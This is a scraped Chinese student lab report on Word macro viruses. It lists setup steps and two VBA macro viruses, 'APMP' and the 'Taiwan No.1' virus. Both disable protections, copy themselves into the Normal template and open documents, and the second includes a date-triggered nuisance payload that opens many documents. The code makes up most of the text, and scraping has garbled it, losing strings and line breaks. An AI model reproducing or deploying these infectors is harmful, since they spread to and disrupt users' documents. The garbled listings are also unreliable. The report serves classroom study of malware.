宏病毒实验报告

更新时间:2023-11-05 15:12:01 阅读量: 综合文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

宏病毒实验报告

201424010257 邹文敏

一、 实验目的

通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。 加深对宏病毒的感性认识,宏病毒是感染数据文件word,office等。

二、 实验内容

运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。

三、 实验步骤 实验一:

? 将word文档中的开发者工具打开;word 中心→信任选项→宏设计将信任选项打开

? 运行第一个实验Visual Basic →normal →Microsoft→the document

Project→microsoft word对象→the document复制如下代码:

'APMP

Private Sub Document_Open() On Error Resume Next

Application.DisplayStatusBar = False Options.VirusProtection = False

Options.SaveNormalPrompt = False '以上都是基本的自我隐藏措施 MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _

Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule With Host

If .Lines(1, 1) <> \ '判断感染标志

.DeleteLines 1, .CountOfLines '删除目标文件所有代码 .InsertLines 1, MyCode '向目标文档写入病毒代码 If ThisDocument = NormalTemplate Then _ ActiveDocument.SaveAsActiveDocument.FullName End If End With

MsgBox \End Sub

保存时注意保存为宏文件

实验一运行截图:

清除实验一中的内容只需要删除,the document 中的内容在保存即可。

实验二:

编写代码的位置同上;

代码如下: 'moonlight Dim nm(4)

Sub Document_Open() 'DisableInput 1

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With host

If .Lines(1, 1) <> \

.DeleteLines 1, .CountOfLines

.InsertLines 1, ourcodemodule.Lines(1, 100) .ReplaceLine 3, \

If ThisDocument = NormalTemplate Then .ReplaceLine 3, \ActiveDocument.SaveAsActiveDocument.FullName End If

End If

End With

Count = 0

If Day(Now()) = 25 Then try:

On Error GoTo try test = -1 con = 1

tog$ = \i = 0

While test = -1 For i = 0 To 4 nm(i) = Int(Rnd() * 10) con = con * nm(i)

If i = 4 Then tog$ = tog$ + Str$(nm(4)) + \GoTo beg

End If

tog$ = tog$ + Str$(nm(i)) + \ Next i beg:

Beep

ans$ = InputBox$(\今天是\跟你玩一个心算游戏\若你答错,只好接受震撼教育......\台湾NO.1 Macro Virus\ If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then Documents.Add

Selection.Paragraphs.Alignment = wdAlignParagraphCenter Beep

With Selection.Font .Name = \细明体\ .Size = 16 .Bold = 1

.Underline = 1 End With

Selection.InsertAfter Text:=\何谓宏病毒\Selection.InsertParagraphAfter Beep

Selection.InsertAfter Text:=\答案:\Selection.Font.Italic = 1

Selection.InsertAfter Text:=\我就是......\Selection.InsertParagraphAfter Selection.InsertParagraphAfter Selection.Font.Italic = 0 Beep

Selection.InsertAfter Text:=\如何预防宏病毒\Selection.InsertParagraphAfter Beep

Selection.InsertAfter Text:=\答案:\Selection.Font.Italic = 1

Selection.InsertAfter Text:=\不要看我......\GoTo out

Else

Count = Count + 1 For j = 1 To 20 Beep Documents.Add

Next j

Selection.Paragraphs.Alignment = wdAlignParagraphCenter Selection.InsertAfter Text:=\宏病毒\

If Count = 2 Then GoTo out GoTo try

End If

本文来源:https://www.bwwdw.com/article/hb82.html

Top